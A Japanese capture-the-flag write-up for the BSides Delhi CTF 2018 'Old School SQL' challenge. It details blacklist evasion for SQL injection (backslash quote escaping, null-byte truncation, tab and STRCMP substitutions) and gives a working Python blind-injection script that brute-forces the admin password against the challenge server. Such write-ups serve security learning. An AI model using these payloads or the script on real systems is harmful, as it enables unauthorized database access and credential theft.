BSides Delhi CTF 2018 - Old School SQL
問題文
Being the admin is great
writeup
Blind SQL Injectionでpwを特定できそうだが、ブラックリストのワードが多数ある。
まず'
(シングルクォート)から脱出しないといけないが、'
はブラックリストに登録されているため使用できない。
これは、user
の末尾に\
(バックスラッシュ)を入れることで、'
をエスケープして回避した。
例えば、user
にhoge\
をセットすると、where句のuser
にはhoge\' and pw=
がセットされる。そして、pw
にセットした文字列は'
の外に出た形になる。
しかし、このままでは、元のpw
を閉じていた'
が邪魔である。--
および#
はブラックリストに登録されているため使用できない。代わりにpw
の最後に\x00
のNull文字をセットすることでコメントアウトした。
まとめると、元の以下のSQLに、
select user from chal where user='' and pw=''
user=a\'
、pw=<任意のSQL断片>;Null文字
をセットすることで、
select user from chal where user='a\' and pw='<任意のSQL断片>;Null文字'
とすることができる。
あとは、<任意のSQL断片>のエリアを使用して、adminのpw
を特定するためのBlind SQL Injectionを実行すればよい。 まだまだブラックリストはあるが、下表のとおり回避した。
禁止文字 | 回避策 |
---|---|
' (シングルクォート) |
” (ダブルクォート)を代わりに使用 |
半角スペース | タブ文字を代わりに使用 |
= |
STRCMP とis not TRUE を代わりに使用 |
or |
|| を代わりに使用 |
admin |
"admi" "n" で文字列結合 |
Blind SQL Injectionのスクリプトは以下の通り。
import requests import string URL = 'http://35.200.215.237/' LETTERS = string.digits+string.ascii_letters+"!#$&()*+,-./:;<=>?@[\]^_`{|}~" password = '' while True: flag = False for e in LETTERS: r = requests.get( URL, params={ "pw" :'||(STRCMP("admi"\t"n",user)\tis\tnot\tTRUE\t&&\tSTRCMP("{}",LEFT(pw,{}))\tis\tnot\tTRUE);\x00'.format(password+e,len(password+e)), "user":"a\\" } ) if "Welcome admin" in r.text: password += e print(password) flag = True break if flag: continue exit()
実行結果は以下の通り。
1 17 172 1729 17292 172921 1729211 17292115 ←パスワード
http://35.200.215.237/?pw=17292115
にアクセスするとflagが表示された。
flag{sQ1_inj3c7i0n_i5_v3ry_3asy}